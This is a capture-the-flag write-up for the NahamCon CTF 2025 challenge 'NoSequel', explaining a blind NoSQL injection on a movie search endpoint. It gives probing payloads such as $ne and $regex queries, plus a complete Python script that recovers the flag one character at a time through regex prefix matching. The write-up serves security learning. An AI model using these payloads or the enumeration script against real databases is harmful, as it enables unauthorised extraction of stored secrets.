Skip to content

Blind NoSQL Injection via Regex Enumeration – NahamCon CTF 2025: NoSequel

TL;DR

  • Search endpoint vulnerable to NoSQL injection.
  • Flags collection only allows regex queries on the flag field.
  • Regex prefix matching used as a boolean oracle.
  • Automated blind enumeration recovers the flag one character at a time.

Description

It always struck me as odd that none of these movies ever got sequels! Absolute cinema.

Solution

Challenge name suggests we should focus on NoSQL injection 🤔

Movie search interface vulnerable to NoSQL injection

It even gives us an example! We can check the Portswigger labs on this topic for some exploitation ideas, hacktricks for some quick payloads.

When sending:

query={"$ne":null}&collection=movies

The server responds unknown top level operator: $ne

If we try and search the flags collection, it says Only regex on 'flag' field is supported

I tried to change the content-type to JSON and use some different payloads. We also want to test a search query that returns results, e.g. by using a movie title from the homepage. Doing this will give us a "true" condition that we could use to compare results later, if we need to extract the flag char by char.

Valid movie search result used as a baseline for injection testing

When I try to enter [$regex]=.{25} as search query for the flags collection, it warns me to use a JSON format.

Server warning indicating regex queries must be supplied in JSON format

Using that format, we apply a regular expression to see if the flag begins with flag.

flag: {$regex: ^flag}

Successful regex query confirming the flag starts with the string flag

It does! So we can just write a python script to loop through all possible hex chars, since we know the flag format from previous challenges; flag{[0-9a-f]{32}}.

I just finished a 72 hour OSWE exam which required automating exploit chains into a 1-click-pwn script without help from an LLM. Since that is finished, I'll make life easier for myself 😁

import requests
import string

# Config
url = "http://challenge.nahamcon.com:31786/search"
charset = "0123456789abcdef"
flag_prefix = "flag{"
flag = flag_prefix
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

def test_candidate(candidate):
    payload = {
        "query": f'flag: {{$regex: ^{candidate}}}',
        "collection": "flags"
    }
    response = requests.post(url, data=payload, headers=headers)
    return "Pattern matched" in response.text

while not flag.endswith("}"):
    found = False
    for ch in charset:
        attempt = flag + ch
        print(f"[?] Trying: {attempt}")
        if test_candidate(attempt):
            print(f"[+] Match: {attempt}")
            flag += ch
            found = True
            break
    if not found:
        print("[-] No match found. Trying closing brace '}'...")
        if test_candidate(flag + "}"):
            flag += "}"
            print(f"[✓] Flag complete: {flag}")
            break
        else:
            print("[-] Could not extend flag — possibly an error.")
            break

print(f"[🏁] Final flag: {flag}")

It works, we get the flag 😎

Automated blind NoSQL injection revealing the full flag

Flag: flag{4cb8649d9ecb0ec59d1784263602e686}